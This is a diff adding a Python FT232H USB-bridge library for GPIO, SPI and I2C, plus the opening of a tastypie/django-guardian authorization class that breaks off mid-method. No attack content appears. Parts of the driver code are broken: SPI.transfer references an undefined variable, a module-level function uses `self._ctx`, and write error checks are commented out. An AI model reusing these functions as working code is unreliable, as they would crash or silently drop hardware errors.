+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+# THE SOFTWARE.
+
+import atexit
+import logging
+import math
+import os
+import subprocess
+import sys
+import time
+import binascii
+import ftdi1 as ftdi
+
+import GPIO
+import struct
+
+
+logger = logging.getLogger(__name__)
+
+FT232H_VID = 0x0403   # Default FTDI FT232H vendor ID
+FT232H_PID = 0x6014   # Default FTDI FT232H product ID
+
+MSBFIRST = 0
+LSBFIRST = 1
+
+_REPEAT_DELAY = 4
+
+
+def _check_running_as_root():
+    # NOTE: Checking for root with user ID 0 isn't very portable, perhaps
+    # there's a better alternative?
+    if os.geteuid() != 0:
+        raise RuntimeError('Expected to be run by root user! Try running with sudo.')
+
+def disable_FTDI_driver():
+    """Disable the FTDI drivers for the current platform.  This is necessary
+    because they will conflict with libftdi and accessing the FT232H.  Note you
+    can enable the FTDI drivers again by calling enable_FTDI_driver.
+    """
+    logger.debug('Disabling FTDI driver.')
+    if sys.platform == 'darwin':
+        logger.debug('Detected Mac OSX')
+        # Mac OS commands to disable FTDI driver.
+        _check_running_as_root()
+        subprocess.call('kextunload -b com.apple.driver.AppleUSBFTDI', shell=True)
+        subprocess.call('kextunload /System/Library/Extensions/FTDIUSBSerialDriver.kext', shell=True)
+    elif sys.platform.startswith('linux'):
+        logger.debug('Detected Linux')
+        # Linux commands to disable FTDI driver.
+        _check_running_as_root()
+        subprocess.call('modprobe -r -q ftdi_sio', shell=True)
+        subprocess.call('modprobe -r -q usbserial', shell=True)
+    # Note there is no need to disable FTDI drivers on Windows!
+
+def enable_FTDI_driver():
+    """Re-enable the FTDI drivers for the current platform."""
+    logger.debug('Enabling FTDI driver.')
+    if sys.platform == 'darwin':
+        logger.debug('Detected Mac OSX')
+        # Mac OS commands to enable FTDI driver.
+        _check_running_as_root()
+        subprocess.check_call('kextload -b com.apple.driver.AppleUSBFTDI', shell=True)
+        subprocess.check_call('kextload /System/Library/Extensions/FTDIUSBSerialDriver.kext', shell=True)
+    elif sys.platform.startswith('linux'):
+        logger.debug('Detected Linux')
+        # Linux commands to enable FTDI driver.
+        _check_running_as_root()
+        subprocess.check_call('modprobe -q ftdi_sio', shell=True)
+        subprocess.check_call('modprobe -q usbserial', shell=True)
+
+def use_FT232H():
+    """Disable any built in FTDI drivers which will conflict and cause problems
+    with libftdi (which is used to communicate with the FT232H).  Will register
+    an exit function so the drivers are re-enabled on program exit.
+    """
+    disable_FTDI_driver()
+    atexit.register(enable_FTDI_driver)
+
+def enumerate_device_serials(vid=FT232H_VID, pid=FT232H_PID):
+    """Return a list of all FT232H device serial numbers connected to the
+    machine.  You can use these serial numbers to open a specific FT232H device
+    by passing it to the FT232H initializer's serial parameter.
+    """
+    try:
+        # Create a libftdi context.
+        ctx = None
+        ctx = ftdi.new()
+        # Enumerate FTDI devices.
+        device_list = None
+        count, device_list = ftdi.usb_find_all(ctx, vid, pid)
+        if count < 0:
+            raise RuntimeError('ftdi_usb_find_all returned error {0}: {1}'.format(count, ftdi.get_error_string(self._ctx)))
+        # Walk through list of devices and assemble list of serial numbers.
+        devices = []
+        while device_list is not None:
+            # Get USB device strings and add serial to list of devices.
+            ret, manufacturer, description, serial = ftdi.usb_get_strings(ctx, device_list.dev, 256, 256, 256)
+            if ret < 0:
+                raise RuntimeError('ftdi_usb_get_strings returned error {0}: {1}'.format(ret, ftdi.get_error_string(self._ctx)))
+            devices.append(serial)
+            device_list = device_list.next
+        return devices
+    finally:
+        # Make sure to clean up list and context when done.
+        if device_list is not None:
+            ftdi.list_free(device_list)
+        if ctx is not None:
+            ftdi.free(ctx)
+
+
+class FT232H(GPIO.BaseGPIO):
+    # Make GPIO constants that match main GPIO class for compatibility.
+    HIGH = GPIO.HIGH
+    LOW  = GPIO.LOW
+    IN   = GPIO.IN
+    OUT  = GPIO.OUT
+
+    def __init__(self, vid=FT232H_VID, pid=FT232H_PID, serial=None):
+        """Create a FT232H object.  Will search for the first available FT232H
+        device with the specified USB vendor ID and product ID (defaults to
+        FT232H default VID & PID).  Can also specify an optional serial number
+        string to open an explicit FT232H device given its serial number.  See
+        the FT232H.enumerate_device_serials() function to see how to list all
+        connected device serial numbers.
+        """
+        # Initialize FTDI device connection.
+        self._ctx = ftdi.new()
+        if self._ctx == 0:
+            raise RuntimeError('ftdi_new failed! Is libftdi1 installed?')
+        # Register handler to close and cleanup FTDI context on program exit.
+        atexit.register(self.close)
+        if serial is None:
+            # Open USB connection for specified VID and PID if no serial is specified.
+            self._check(ftdi.usb_open, vid, pid)
+        else:
+            # Open USB connection for VID, PID, serial.
+            self._check(ftdi.usb_open_string, 's:{0}:{1}:{2}'.format(vid, pid, serial))
+        # Reset device.
+        self._check(ftdi.usb_reset)
+        # Disable flow control. Commented out because it is unclear if this is necessary.
+        #self._check(ftdi.setflowctrl, ftdi.SIO_DISABLE_FLOW_CTRL)
+        # Change read & write buffers to maximum size, 65535 bytes.
+        self._check(ftdi.read_data_set_chunksize, 65535)
+        self._check(ftdi.write_data_set_chunksize, 65535)
+        # Clear pending read data & write buffers.
+        self._check(ftdi.usb_purge_buffers)
+        # Enable MPSSE and syncronize communication with device.
+        self._mpsse_enable()
+        self._mpsse_sync()
+        # Initialize all GPIO as inputs.
+        self._write('\x80\x00\x00\x82\x00\x00')
+        self._direction = 0x0000
+        self._level = 0x0000
+
+    def close(self):
+        """Close the FTDI device.  Will be automatically called when the program ends."""
+        if self._ctx is not None:
+            ftdi.free(self._ctx)
+        self._ctx = None
+
+    def _write(self, string):
+        """Helper function to call write_data on the provided FTDI device and
+        verify it succeeds.
+        """
+        # Get modem status. Useful to enable for debugging.
+        #ret, status = ftdi.poll_modem_status(self._ctx)
+        #if ret == 0:
+        #	logger.debug('Modem status {0:02X}'.format(status))
+        #else:
+        #	logger.debug('Modem status error {0}'.format(ret))
+        #length = 
+        ftdi.write_data(self._ctx, string, len(string))
+        # Log the string that was written in a python hex string format using a very
+        # ugly one-liner list comprehension for brevity.
+        #logger.debug('Wrote {0}'.format(''.join(['\\x{0:02X}'.format(ord(x)) for x in string])))
+        #if ret < 0:
+        #    raise RuntimeError('ftdi_write_data failed with error {0}: {1}'.format(ret, ftdi.get_error_string(self._ctx)))
+       # if ret != length:
+        #    raise RuntimeError('ftdi_write_data expected to write {0} bytes but actually wrote {1}!'.format(length, ret))
+
+    def _check(self, command, *args):
+        """Helper function to call the provided command on the FTDI device and
+        verify the response matches the expected value.
+        """
+        ret = command(self._ctx, *args)
+        logger.debug('Called ftdi_{0} and got response {1}.'.format(command.__name__, ret))
+        if ret != 0:
+            raise RuntimeError('ftdi_{0} failed with error {1}: {2}'.format(command.__name__, ret, ftdi.get_error_string(self._ctx)))
+
+    def _poll_read(self, expected, timeout_s=5.0):
+        """Helper function to continuously poll reads on the FTDI device until an
+        expected number of bytes are returned.  Will throw a timeout error if no
+        data is received within the specified number of timeout seconds.  Returns
+        the read data as a string if successful, otherwise raises an execption.
+        """
+        start = time.time()
+        # Start with an empty response buffer.
+        response = bytearray(expected)
+        index = 0
+        # Loop calling read until the response buffer is full or a timeout occurs.
+        while time.time() - start <= timeout_s:
+            ret, data = ftdi.read_data(self._ctx, expected - index)
+            # Fail if there was an error reading data.
+            if ret < 0:
+                raise RuntimeError('ftdi_read_data failed with error code {0}.'.format(ret))
+            # Add returned data to the buffer.
+            response[index:index+ret] = data[:ret]
+            index += ret
+            # Buffer is full, return the result data.
+            if index >= expected:
+                return str(response)
+            time.sleep(0.001)
+        raise RuntimeError('Timeout while polling ftdi_read_data for {0} bytes!'.format(expected))
+
+    def _mpsse_enable(self):
+        """Enable MPSSE mode on the FTDI device."""
+        # Reset MPSSE by sending mask = 0 and mode = 0
+        self._check(ftdi.set_bitmode, 0, 0)
+        # Enable MPSSE by sending mask = 0 and mode = 2
+        self._check(ftdi.set_bitmode, 0, 2)
+
+    def _mpsse_sync(self, max_retries=10):
+        """Synchronize buffers with MPSSE by sending bad opcode and reading expected
+        error response.  Should be called once after enabling MPSSE."""
+        # Send a bad/unknown command (0xAB), then read buffer until bad command
+        # response is found.
+        self._write('\xAB')
+        # Keep reading until bad command response (0xFA 0xAB) is returned.
+        # Fail if too many read attempts are made to prevent sticking in a loop.
+        tries = 0
+        sync = False
+        while not sync:
+            data = self._poll_read(2)
+            if data == '\xFA\xAB':
+                sync = True
+            tries += 1
+            if tries >= max_retries:
+                raise RuntimeError('Could not synchronize with FT232H!')
+
+    def mpsse_set_clock(self, clock_hz, adaptive=False, three_phase=False):
+        """Set the clock speed of the MPSSE engine.  Can be any value from 450hz
+        to 30mhz and will pick that speed or the closest speed below it.
+        """
+        # Disable clock divisor by 5 to enable faster speeds on FT232H.
+        self._write('\x8A')
+        # Turn on/off adaptive clocking.
+        if adaptive:
+            self._write('\x96')
+        else:
+            self._write('\x97')
+        # Turn on/off three phase clock (needed for I2C).
+        # Also adjust the frequency for three-phase clocking as specified in section 2.2.4
+        # of this document:
+        #   http://www.ftdichip.com/Support/Documents/AppNotes/AN_255_USB%20to%20I2C%20Example%20using%20the%20FT232H%20and%20FT201X%20devices.pdf
+        if three_phase:
+            self._write('\x8C')
+        else:
+            self._write('\x8D')
+        # Compute divisor for requested clock.
+        # Use equation from section 3.8.1 of:
+        #  http://www.ftdichip.com/Support/Documents/AppNotes/AN_108_Command_Processor_for_MPSSE_and_MCU_Host_Bus_Emulation_Modes.pdf
+        # Note equation is using 60mhz main clock instead of 12mhz.
+        divisor = int(math.ceil((30000000.0-float(clock_hz))/float(clock_hz))) & 0xFFFF
+        if three_phase:
+            divisor = int(divisor*(2.0/3.0))
+        logger.debug('Setting clockspeed with divisor value {0}'.format(divisor))
+        # Send command to set divisor from low and high byte values.
+        self._write(str(bytearray((0x86, divisor & 0xFF, (divisor >> 8) & 0xFF))))
+
+    def mpsse_read_gpio(self):
+        """Read both GPIO bus states and return a 16 bit value with their state.
+        D0-D7 are the lower 8 bits and C0-C7 are the upper 8 bits.
+        """
+        # Send command to read low byte and high byte.
+        self._write('\x81\x83')
+        # Wait for 2 byte response.
+        data = self._poll_read(2)
+        # Assemble response into 16 bit value.
+        low_byte = ord(data[0])
+        high_byte = ord(data[1])
+        logger.debug('Read MPSSE GPIO low byte = {0:02X} and high byte = {1:02X}'.format(low_byte, high_byte))
+        return (high_byte << 8) | low_byte
+
+    def mpsse_gpio(self):
+        """Return command to update the MPSSE GPIO state to the current direction
+        and level.
+        """
+        level_low  = chr(self._level & 0xFF)
+        level_high = chr((self._level >> 8) & 0xFF)
+        dir_low  = chr(self._direction & 0xFF)
+        dir_high = chr((self._direction >> 8) & 0xFF)
+        return str(bytearray((0x80, level_low, dir_low, 0x82, level_high, dir_high)))
+
+    def mpsse_write_gpio(self):
+        """Write the current MPSSE GPIO state to the FT232H chip."""
+        self._write(self.mpsse_gpio())
+
+    def get_i2c_device(self, address, **kwargs):
+        """Return an I2CDevice instance using this FT232H object and the provided
+        I2C address.  Meant to be passed as the i2c_provider parameter to objects
+        which use the Adafruit_Python_GPIO library for I2C.
+        """
+        return I2CDevice(self, address, **kwargs)
+
+    # GPIO functions below:
+
+    def _setup_pin(self, pin, mode):
+        if pin < 0 or pin > 15:
+            raise ValueError('Pin must be between 0 and 15 (inclusive).')
+        if mode not in (GPIO.IN, GPIO.OUT):
+            raise ValueError('Mode must be GPIO.IN or GPIO.OUT.')
+        if mode == GPIO.IN:
+            # Set the direction and level of the pin to 0.
+            self._direction &= ~(1 << pin) & 0xFFFF
+            self._level     &= ~(1 << pin) & 0xFFFF
+        else:
+            # Set the direction of the pin to 1.
+            self._direction |= (1 << pin) & 0xFFFF
+
+    def setup(self, pin, mode):
+        """Set the input or output mode for a specified pin.  Mode should be
+        either OUT or IN."""
+        self._setup_pin(pin, mode)
+        self.mpsse_write_gpio()
+
+    def setup_pins(self, pins, values={}, write=True):
+        """Setup multiple pins as inputs or outputs at once.  Pins should be a
+        dict of pin name to pin mode (IN or OUT).  Optional starting values of
+        pins can be provided in the values dict (with pin name to pin value).
+        """
+        # General implementation that can be improved by subclasses.
+        for pin, mode in pins.iteritems():
+            self._setup_pin(pin, mode)
+        for pin, value in values.iteritems():
+            self._output_pin(pin, value)
+        if write:
+            self.mpsse_write_gpio()
+
+    def _output_pin(self, pin, value):
+        if value:
+            self._level |= (1 << pin) & 0xFFFF
+        else:
+            self._level &= ~(1 << pin) & 0xFFFF
+
+    def output(self, pin, value):
+        """Set the specified pin the provided high/low value.  Value should be
+        either HIGH/LOW or a boolean (true = high)."""
+        if pin < 0 or pin > 15:
+            raise ValueError('Pin must be between 0 and 15 (inclusive).')
+        self._output_pin(pin, value)
+        self.mpsse_write_gpio()
+
+    def output_pins(self, pins, write=True):
+        """Set multiple pins high or low at once.  Pins should be a dict of pin
+        name to pin value (HIGH/True for 1, LOW/False for 0).  All provided pins
+        will be set to the given values.
+        """
+        for pin, value in pins.iteritems():
+            self._output_pin(pin, value)
+        if write:
+            self.mpsse_write_gpio()
+
+    def input(self, pin):
+        """Read the specified pin and return HIGH/true if the pin is pulled high,
+        or LOW/false if pulled low."""
+        if pin < 0 or pin > 15:
+            raise ValueError('Pin must be between 0 and 15 (inclusive).')
+        pins = self.mpsse_read_gpio()
+        return ((pins >> pin) & 0x0001) == 1
+
+
+class SPI(object):
+    def __init__(self, ft232h, cs=None, max_speed_hz=1000000, mode=0, bitorder=MSBFIRST):
+        self._ft232h = ft232h
+        # Initialize chip select pin if provided to output high.
+        if cs is not None:
+            ft232h.setup(cs, GPIO.OUT)
+            ft232h.set_high(cs)
+        self._cs = cs
+        # Initialize clock, mode, and bit order.
+        self.set_clock_hz(max_speed_hz)
+        self.set_mode(mode)
+        self.set_bit_order(bitorder)
+        self.command = 0x30 | (self.lsbfirst << 3) | (self.read_clock_ve << 2) | self.write_clock_ve
+
+    def _assert_cs(self):
+        if self._cs is not None:
+            self._ft232h.set_low(self._cs)
+
+    def _deassert_cs(self):
+        if self._cs is not None:
+            self._ft232h.set_high(self._cs)
+
+    def set_clock_hz(self, hz):
+        """Set the speed of the SPI clock in hertz.  Note that not all speeds
+        are supported and a lower speed might be chosen by the hardware.
+        """
+        self._ft232h.mpsse_set_clock(hz)
+
+    def set_mode(self, mode):
+        """Set SPI mode which controls clock polarity and phase.  Should be a
+        numeric value 0, 1, 2, or 3.  See wikipedia page for details on meaning:
+        http://en.wikipedia.org/wiki/Serial_Peripheral_Interface_Bus
+        """
+        if mode < 0 or mode > 3:
+            raise ValueError('Mode must be a value 0, 1, 2, or 3.')
+        if mode == 0:
+            # Mode 0 captures on rising clock, propagates on falling clock
+            self.write_clock_ve = 1
+            self.read_clock_ve  = 0
+            # Clock base is low.
+            clock_base = GPIO.LOW
+        elif mode == 1:
+            # Mode 1 capture of falling edge, propagate on rising clock
+            self.write_clock_ve = 0
+            self.read_clock_ve  = 1
+            # Clock base is low.
+            clock_base = GPIO.LOW
+        elif mode == 2:
+            # Mode 2 capture on rising clock, propagate on falling clock
+            self.write_clock_ve = 1
+            self.read_clock_ve  = 0
+            # Clock base is high.
+            clock_base = GPIO.HIGH
+        elif mode == 3:
+            # Mode 3 capture on falling edge, propagage on rising clock
+            self.write_clock_ve = 0
+            self.read_clock_ve  = 1
+            # Clock base is high.
+            clock_base = GPIO.HIGH
+        # Set clock and DO as output, DI as input.  Also start clock at its base value.
+        self._ft232h.setup_pins({0: GPIO.OUT, 1: GPIO.OUT, 2: GPIO.IN}, {0: clock_base})
+
+    def set_bit_order(self, order):
+        """Set order of bits to be read/written over serial lines.  Should be
+        either MSBFIRST for most-significant first, or LSBFIRST for
+        least-signifcant first.
+        """
+        if order == MSBFIRST:
+            self.lsbfirst = 0
+        elif order == LSBFIRST:
+            self.lsbfirst = 1
+        else:
+            raise ValueError('Order must be MSBFIRST or LSBFIRST.')
+
+    def write(self, data):
+        """Half-duplex SPI write.  The specified array of bytes will be clocked
+        out the MOSI line.
+        """
+        # Build command to write SPI data.
+        command = 0x10 | (self.lsbfirst << 3) | self.write_clock_ve
+        logger.debug('SPI write with command {0:2X}.'.format(command))
+        # Compute length low and high bytes.
+        # NOTE: Must actually send length minus one because the MPSSE engine
+        # considers 0 a length of 1 and FFFF a length of 65536
+        length = len(data)-1
+        len_low  = length & 0xFF
+        len_high = (length >> 8) & 0xFF
+        self._assert_cs()
+        # Send command and length.
+        self._ft232h._write(str(bytearray((command, len_low, len_high))))
+        # Send data.
+        self._ft232h._write(str(bytearray(data)))
+        self._deassert_cs()
+
+    def read(self, length):
+        """Half-duplex SPI read.  The specified length of bytes will be clocked
+        in the MISO line and returned as a bytearray object.
+        """
+        # Build command to read SPI data.
+        command = 0x20 | (self.lsbfirst << 3) | (self.read_clock_ve << 2)
+        logger.debug('SPI read with command {0:2X}.'.format(command))
+        # Compute length low and high bytes.
+        # NOTE: Must actually send length minus one because the MPSSE engine
+        # considers 0 a length of 1 and FFFF a length of 65536
+        len_low  = (length-1) & 0xFF
+        len_high = ((length-1) >> 8) & 0xFF
+        self._assert_cs()
+        # Send command and length.
+        self._ft232h._write(str(bytearray((command, len_low, len_high, 0x87))))
+        self._deassert_cs()
+        # Read response bytes.
+        return bytearray(self._ft232h._poll_read(length))
+
+    def transfer(self, data):
+        """Full-duplex SPI read and write.  The specified array of bytes will be
+        clocked out the MOSI line, while simultaneously bytes will be read from
+        the MISO line.  Read bytes will be returned as a bytearray object.
+        """
+        # Build command to read and write SPI data.
+        
+       # logger.debug('SPI transfer with command {0:2X}.'.format(command))
+        # Compute length low and high bytes.
+        # NOTE: Must actually send length minus one because the MPSSE engine
+        # considers 0 a length of 1 and FFFF a length of 65536
+        length = len(data)
+        
+        # Send command and length.
+        
+        returnbytes = ''
+        
+        self._assert_cs()
+
+        while len(data) > 0:
+            chunk = data[:512]
+            data = data[512:]
+            chunkLength = len(chunk)
+            self._ft232h._write(struct.pack('{}B\x87'.format(chunkLength), *b))
+            returnbytes += self._ft232h._poll_read(chunkLength)
+        
+        self._deassert_cs()    
+        
+        # Read response bytes.
+        return bytearray(returnbytes)
+
+
+class I2CDevice(object):
+    """Class for communicating with an I2C device using the smbus library.
+    Allows reading and writing 8-bit, 16-bit, and byte array values to registers
+    on the device."""
+    # Note that most of the functions in this code are adapted from this app note:
+    #  http://www.ftdichip.com/Support/Documents/AppNotes/AN_255_USB%20to%20I2C%20Example%20using%20the%20FT232H%20and%20FT201X%20devices.pdf
+    def __init__(self, ft232h, address, clock_hz=100000):
+        """Create an instance of the I2C device at the specified address on the
+        specified I2C bus number."""
+        self._address = address
+        self._ft232h = ft232h
+        # Enable clock with three phases for I2C.
+        self._ft232h.mpsse_set_clock(clock_hz, three_phase=True)
+        # Enable drive-zero mode to drive outputs low on 0 and tri-state on 1.
+        # This matches the protocol for I2C communication so multiple devices can
+        # share the I2C bus.
+        self._ft232h._write('\x9E\x07\x00')
+        self._idle()
+
+    def _idle(self):
+        """Put I2C lines into idle state."""
+        # Put the I2C lines into an idle state with SCL and SDA high.
+        self._ft232h.setup_pins({0: GPIO.OUT, 1: GPIO.OUT, 2: GPIO.IN},
+                                {0: GPIO.HIGH, 1: GPIO.HIGH})
+
+    def _transaction_start(self):
+        """Start I2C transaction."""
+        # Clear command buffer and expected response bytes.
+        self._command = []
+        self._expected = 0
+
+    def _transaction_end(self):
+        """End I2C transaction and get response bytes, including ACKs."""
+        # Ask to return response bytes immediately.
+        self._command.append('\x87')
+        # Send the entire command to the MPSSE.
+        self._ft232h._write(''.join(self._command))
+        # Read response bytes and return them.
+        return bytearray(self._ft232h._poll_read(self._expected))
+
+    def _i2c_start(self):
+        """Send I2C start signal. Must be called within a transaction start/end.
+        """
+        # Set SCL high and SDA low, repeat 4 times to stay in this state for a
+        # short period of time.
+        self._ft232h.output_pins({0: GPIO.HIGH, 1: GPIO.LOW}, write=False)
+        self._command.append(self._ft232h.mpsse_gpio() * _REPEAT_DELAY)
+        # Now drop SCL to low (again repeat 4 times for short delay).
+        self._ft232h.output_pins({0: GPIO.LOW, 1: GPIO.LOW}, write=False)
+        self._command.append(self._ft232h.mpsse_gpio() * _REPEAT_DELAY)
+
+    def _i2c_idle(self):
+        """Set I2C signals to idle state with SCL and SDA at a high value. Must
+        be called within a transaction start/end.
+        """
+        self._ft232h.output_pins({0: GPIO.HIGH, 1: GPIO.HIGH}, write=False)
+        self._command.append(self._ft232h.mpsse_gpio() * _REPEAT_DELAY)
+
+    def _i2c_stop(self):
+        """Send I2C stop signal. Must be called within a transaction start/end.
+        """
+        # Set SCL low and SDA low for a short period.
+        self._ft232h.output_pins({0: GPIO.LOW, 1: GPIO.LOW}, write=False)
+        self._command.append(self._ft232h.mpsse_gpio() * _REPEAT_DELAY)
+        # Set SCL high and SDA low for a short period.
+        self._ft232h.output_pins({0: GPIO.HIGH, 1: GPIO.LOW}, write=False)
+        self._command.append(self._ft232h.mpsse_gpio() * _REPEAT_DELAY)
+        # Finally set SCL high and SDA high for a short period.
+        self._ft232h.output_pins({0: GPIO.HIGH, 1: GPIO.HIGH}, write=False)
+        self._command.append(self._ft232h.mpsse_gpio() * _REPEAT_DELAY)
+
+    def _i2c_read_bytes(self, length=1):
+        """Read the specified number of bytes from the I2C bus.  Length is the
+        number of bytes to read (must be 1 or more).
+        """
+        for i in range(length-1):
+            # Read a byte and send ACK.
+            self._command.append('\x20\x00\x00\x13\x00\x00')
+            # Make sure pins are back in idle state with clock low and data high.
+            self._ft232h.output_pins({0: GPIO.LOW, 1: GPIO.HIGH}, write=False)
+            self._command.append(self._ft232h.mpsse_gpio())
+        # Read last byte and send NAK.
+        self._command.append('\x20\x00\x00\x13\x00\xFF')
+        # Make sure pins are back in idle state with clock low and data high.
+        self._ft232h.output_pins({0: GPIO.LOW, 1: GPIO.HIGH}, write=False)
+        self._command.append(self._ft232h.mpsse_gpio())
+        # Increase expected number of bytes.
+        self._expected += length
+
+    def _i2c_write_bytes(self, data):
+        """Write the specified number of bytes to the chip."""
+        for byte in data:
+            # Write byte.
+            self._command.append(str(bytearray((0x11, 0x00, 0x00, byte))))
+            # Make sure pins are back in idle state with clock low and data high.
+            self._ft232h.output_pins({0: GPIO.LOW, 1: GPIO.HIGH}, write=False)
+            self._command.append(self._ft232h.mpsse_gpio() * _REPEAT_DELAY)
+            # Read bit for ACK/NAK.
+            self._command.append('\x22\x00')
+        # Increase expected response bytes.
+        self._expected += len(data)
+
+    def _address_byte(self, read=True):
+        """Return the address byte with the specified R/W bit set.  If read is
+        True the R/W bit will be 1, otherwise the R/W bit will be 0.
+        """
+        if read:
+            return (self._address << 1) | 0x01
+        else:
+            return self._address << 1
+
+    def _verify_acks(self, response):
+        """Check all the specified bytes have the ACK bit set.  Throws a
+        RuntimeError exception if not all the ACKs are set.
+        """
+        for byte in response:
+            if byte & 0x01 != 0x00:
+                raise RuntimeError('Failed to find expected I2C ACK!')
+
+    def ping(self):
+        """Attempt to detect if a device at this address is present on the I2C
+        bus.  Will send out the device's address for writing and verify an ACK
+        is received.  Returns true if the ACK is received, and false if not.
+        """
+        self._idle()
+        self._transaction_start()
+        self._i2c_start()
+        self._i2c_write_bytes([self._address_byte(False)])
+        self._i2c_stop()
+        response = self._transaction_end()
+        if len(response) != 1:
+            raise RuntimeError('Expected 1 response byte but received {0} byte(s).'.format(len(response)))
+        return ((response[0] & 0x01) == 0x00)
+
+    def writeRaw8(self, value):
+        """Write an 8-bit value on the bus (without register)."""
+        value = value & 0xFF
+        self._idle()
+        self._transaction_start()
+        self._i2c_start()
+        self._i2c_write_bytes([self._address_byte(False), value])
+        self._i2c_stop()
+        response = self._transaction_end()
+        self._verify_acks(response)
+
+    def write8(self, register, value):
+        """Write an 8-bit value to the specified register."""
+        value = value & 0xFF
+        self._idle()
+        self._transaction_start()
+        self._i2c_start()
+        self._i2c_write_bytes([self._address_byte(False), register, value])
+        self._i2c_stop()
+        response = self._transaction_end()
+        self._verify_acks(response)
+
+    def write16(self, register, value, little_endian=True):
+        """Write a 16-bit value to the specified register."""
+        value = value & 0xFFFF
+        value_low  = value & 0xFF
+        value_high = (value >> 8) & 0xFF
+        if not little_endian:
+            value_low, value_high = value_high, value_low
+        self._idle()
+        self._transaction_start()
+        self._i2c_start()
+        self._i2c_write_bytes([self._address_byte(False), register, value_low,
+                                value_high])
+        self._i2c_stop()
+        response = self._transaction_end()
+        self._verify_acks(response)
+
+    def writeList(self, register, data):
+        """Write bytes to the specified register."""
+        self._idle()
+        self._transaction_start()
+        self._i2c_start()
+        self._i2c_write_bytes([self._address_byte(False), register] + data)
+        self._i2c_stop()
+        response = self._transaction_end()
+        self._verify_acks(response)
+
+    def readList(self, register, length):
+        """Read a length number of bytes from the specified register.  Results
+        will be returned as a bytearray."""
+        if length <= 0:
+            raise ValueError("Length must be at least 1 byte.")
+        self._idle()
+        self._transaction_start()
+        self._i2c_start()
+        self._i2c_write_bytes([self._address_byte(True), register])
+        self._i2c_stop()
+        self._i2c_idle()
+        self._i2c_start()
+        self._i2c_read_bytes(length)
+        self._i2c_stop()
+        response = self._transaction_end()
+        self._verify_acks(response[:-length])
+        return response[-length:]
+
+    def readRaw8(self):
+        """Read an 8-bit value on the bus (without register)."""
+        self._idle()
+        self._transaction_start()
+        self._i2c_start()
+        self._i2c_write_bytes([self._address_byte(False)])
+        self._i2c_stop()
+        self._i2c_idle()
+        self._i2c_start()
+        self._i2c_write_bytes([self._address_byte(True)])
+        self._i2c_read_bytes(1)
+        self._i2c_stop()
+        response = self._transaction_end()
+        self._verify_acks(response[:-1])
+        return response[-1]
+
+    def readU8(self, register):
+        """Read an unsigned byte from the specified register."""
+        self._idle()
+        self._transaction_start()
+        self._i2c_start()
+        self._i2c_write_bytes([self._address_byte(False), register])
+        self._i2c_stop()
+        self._i2c_idle()
+        self._i2c_start()
+        self._i2c_write_bytes([self._address_byte(True)])
+        self._i2c_read_bytes(1)
+        self._i2c_stop()
+        response = self._transaction_end()
+        self._verify_acks(response[:-1])
+        return response[-1]
+
+    def readS8(self, register):
+        """Read a signed byte from the specified register."""
+        result = self.readU8(register)
+        if result > 127:
+            result -= 256
+        return result
+
+    def readU16(self, register, little_endian=True):
+        """Read an unsigned 16-bit value from the specified register, with the
+        specified endianness (default little endian, or least significant byte
+        first)."""
+        self._idle()
+        self._transaction_start()
+        self._i2c_start()
+        self._i2c_write_bytes([self._address_byte(False), register])
+        self._i2c_stop()
+        self._i2c_idle()
+        self._i2c_start()
+        self._i2c_write_bytes([self._address_byte(True)])
+        self._i2c_read_bytes(2)
+        self._i2c_stop()
+        response = self._transaction_end()
+        self._verify_acks(response[:-2])
+        if little_endian:
+            return (response[-1] << 8) | response[-2]
+        else:
+            return (response[-2] << 8) | response[-1]
+
+    def readS16(self, register, little_endian=True):
+        """Read a signed 16-bit value from the specified register, with the
+        specified endianness (default little endian, or least significant byte
+        first)."""
+        result = self.readU16(register, little_endian)
+        if result > 32767:
+            result -= 65536
+        return result
+
+    def readU16LE(self, register):
+        """Read an unsigned 16-bit value from the specified register, in little
+        endian byte order."""
+        return self.readU16(register, little_endian=True)
+
+    def readU16BE(self, register):
+        """Read an unsigned 16-bit value from the specified register, in big
+        endian byte order."""
+        return self.readU16(register, little_endian=False)
+
+    def readS16LE(self, register):
+        """Read a signed 16-bit value from the specified register, in little
+        endian byte order."""
+        return self.readS16(register, little_endian=True)
+
+    def readS16BE(self, register):
+        """Read a signed 16-bit value from the specified register, in big
+        endian byte order."""
+        return self.readS16(register, little_endian=False)
diff --git a/hard-gists/6557760/._snippet.py b/hard-gists/6557760/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6557760/._snippet.py differ
diff --git a/hard-gists/6557760/snippet.py b/hard-gists/6557760/snippet.py
new file mode 100644
index 00000000..064cdd89
--- /dev/null
+++ b/hard-gists/6557760/snippet.py
@@ -0,0 +1,118 @@
+import logging
+
+from tastypie.authorization import DjangoAuthorization
+from tastypie.exceptions import Unauthorized
+from guardian.core import ObjectPermissionChecker
+
+
+logger = logging.getLogger(__name__)
+
+
+class GuardianAuthorization(DjangoAuthorization):
+    """
+    :create_permission_code:
+        the permission code that signifies the user can create one of these objects
+    :view_permission_code:
+        the permission code that signifies the user can view the detail
+    :update_permission_code:
+        the permission code that signifies the user can update one of these objects
+    :remove_permission_code:
+        the permission code that signifies the user can remove one of these objects
+
+    :kwargs:
+        other permission codes
+
+
+        class Something(models.Model):
+            name = models.CharField()
+
+        class SomethingResource(ModelResource):
+            class Meta:
+                queryset = Something.objects.all()
+                authorization = GuardianAuthorization(
+                    view_permission_code = 'can_view',
+                    create_permission_code = 'can_create',
+                    update_permission_code = 'can_update',
+                    delete_permission_code = 'can_delete'
+                    )
+
+    """
+
+    def __init__(self, *args, **kwargs):
+        self.view_permission_code = kwargs.pop("view_permission_code", 'can_view')
+        self.create_permission_code = kwargs.pop("create_permission_code", 'can_create')
+        self.update_permission_code = kwargs.pop("update_permission_code", 'can_update')
+        self.delete_permission_code = kwargs.pop("delete_permission_code", 'can_delete')
+        super(GuardianAuthorization, self).__init__(**kwargs)
+
+    def generic_base_check(self, object_list, bundle):
+        """
+            Returns False if either:
+                a) if the `object_list.model` doesn't have a `_meta` attribute
+                b) the `bundle.request` object doesn have a `user` attribute
+        """
+        klass = self.base_checks(bundle.request, object_list.model)
+        if klass is False:
+            raise Unauthorized("You are not allowed to access that resource.")
+        return True
+
+    def generic_item_check(self, object_list, bundle, permission):
+        if not self.generic_base_check(object_list, bundle):
+            raise Unauthorized("You are not allowed to access that resource.")
+
